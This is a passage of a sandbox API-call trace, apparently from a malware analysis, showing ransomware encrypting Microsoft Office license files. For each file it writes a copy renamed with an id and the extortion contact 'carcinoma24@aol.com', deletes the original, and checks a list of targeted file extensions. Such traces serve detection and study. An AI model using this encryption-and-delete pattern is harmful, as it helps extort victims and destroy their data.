office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.587] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.588] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.589] GetLastError () returned 0x0 [0287.589] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x54e9, lpOverlapped=0x0) returned 1 [0287.879] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x54f0, lpOverlapped=0x0) returned 1 [0287.880] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.880] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x128, lpOverlapped=0x0) returned 1 [0287.880] SetEndOfFile (hFile=0x530) returned 1 [0287.880] CloseHandle (hObject=0x530) returned 1 [0287.881] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.881] SetEndOfFile (hFile=0x548) returned 1 [0287.884] CloseHandle (hObject=0x548) returned 1 [0287.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0287.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0287.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0287.886] lstrlenW (lpString=".doc") returned 4 [0287.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.886] lstrlenW (lpString=".docx") returned 5 [0287.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.886] lstrlenW (lpString=".pdf") returned 4 [0287.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.886] lstrlenW (lpString=".xls") returned 4 [0287.887] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString=".xlsx") returned 5 [0287.887] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.887] lstrlenW (lpString=".ppt") returned 4 [0287.887] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0287.887] lstrlenW (lpString=".zip") returned 4 [0287.887] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString=".rar") returned 4 [0287.887] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString=".bz2") returned 4 [0287.887] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString=".7z") returned 3 [0287.887] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0287.887] lstrlenW (lpString=".dbf") returned 4 [0287.887] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0287.887] lstrlenW (lpString=".1cd") returned 4 [0287.887] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0287.887] lstrlenW (lpString=".jpg") returned 4 [0287.887] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.888] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19949) returned 1 [0287.888] CloseHandle (hObject=0x548) returned 1 [0287.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0287.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.889] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.889] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.890] GetLastError () returned 0x0 [0287.890] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4ded, lpOverlapped=0x0) returned 1 [0287.908] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4df0, lpOverlapped=0x0) returned 1 [0287.909] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.909] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0287.910] SetEndOfFile (hFile=0x530) returned 1 [0287.910] CloseHandle (hObject=0x530) returned 1 [0287.910] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.910] SetEndOfFile (hFile=0x548) returned 1 [0287.915] CloseHandle (hObject=0x548) returned 1 [0287.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1 [0287.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0287.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0287.917] lstrlenW (lpString=".doc") returned 4 [0287.917] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString=".docx") returned 5 [0287.917] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.917] lstrlenW (lpString=".pdf") returned 4 [0287.917] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString=".xls") returned 4 [0287.917] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString=".xlsx") returned 5 [0287.917] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.917] lstrlenW (lpString=".ppt") returned 4 [0287.917] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0287.917] lstrlenW (lpString=".zip") returned 4 [0287.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString=".rar") returned 4 [0287.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString=".bz2") returned 4 [0287.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.917] lstrlenW (lpString=".7z") returned 3 [0287.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0287.918] lstrlenW (lpString=".dbf") returned 4 [0287.918] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0287.918] lstrlenW (lpString=".1cd") returned 4 [0287.918] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0287.918] lstrlenW (lpString=".jpg") returned 4 [0287.918] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.918] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=21727) returned 1 [0287.918] CloseHandle (hObject=0x548) returned 1 [0287.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0287.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.920] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.920] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.921] GetLastError () returned 0x0 [0287.921] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x54df, lpOverlapped=0x0) returned 1 [0287.924] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x54e0, lpOverlapped=0x0) returned 1 [0287.926] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.926] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0287.926] SetEndOfFile (hFile=0x530) returned 1 [0287.926] CloseHandle (hObject=0x530) returned 1 [0287.927] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.927] SetEndOfFile (hFile=0x548) returned 1 [0287.930] CloseHandle (hObject=0x548) returned 1 [0287.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1 [0287.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0287.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0287.932] lstrlenW (lpString=".doc") returned 4 [0287.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString=".docx") returned 5 [0287.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.932] lstrlenW (lpString=".pdf") returned 4 [0287.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString=".xls") returned 4 [0287.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString=".xlsx") returned 5 [0287.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.932] lstrlenW (lpString=".ppt") returned 4 [0287.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0287.932] lstrlenW (lpString=".zip") returned 4 [0287.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString=".rar") returned 4 [0287.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString=".bz2") returned 4 [0287.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.932] lstrlenW (lpString=".7z") returned 3 [0287.932] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0287.932] lstrlenW (lpString=".dbf") returned 4 [0287.933] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0287.933] lstrlenW (lpString=".1cd") returned 4 [0287.933] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0287.933] lstrlenW (lpString=".jpg") returned 4 [0287.933] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.933] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11616) returned 1 [0287.933] CloseHandle (hObject=0x548) returned 1 [0287.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0287.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.935] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.935] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.936] GetLastError () returned 0x0 [0287.936] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0288.345] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0288.346] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.347] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0288.347] SetEndOfFile (hFile=0x530) returned 1 [0288.347] CloseHandle (hObject=0x530) returned 1 [0288.347] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.347] SetEndOfFile (hFile=0x548) returned 1 [0288.352] CloseHandle (hObject=0x548) returned 1 [0288.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1 [0288.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0288.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0288.354] lstrlenW (lpString=".doc") returned 4 [0288.354] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString=".docx") returned 5 [0288.354] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0288.354] lstrlenW (lpString=".pdf") returned 4 [0288.354] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString=".xls") returned 4 [0288.354] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString=".xlsx") returned 5 [0288.354] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0288.354] lstrlenW (lpString=".ppt") returned 4 [0288.354] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0288.354] lstrlenW (lpString=".zip") returned 4 [0288.354] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString=".rar") returned 4 [0288.354] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString=".bz2") returned 4 [0288.354] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0288.354] lstrlenW (lpString=".7z") returned 3 [0288.355] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0288.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0288.355] lstrlenW (lpString=".dbf") returned 4 [0288.355] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0288.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0288.355] lstrlenW (lpString=".1cd") returned 4 [0288.355] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0288.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0288.355] lstrlenW (lpString=".jpg") returned 4 [0288.355] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0288.356] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11175) returned 1 [0288.356] CloseHandle (hObject=0x548) returned 1 [0288.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0288.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0288.357] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.357] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0294.044] GetLastError () returned 0x0 [0294.044] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0294.208] WriteFile (in: hFile=0x314, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, 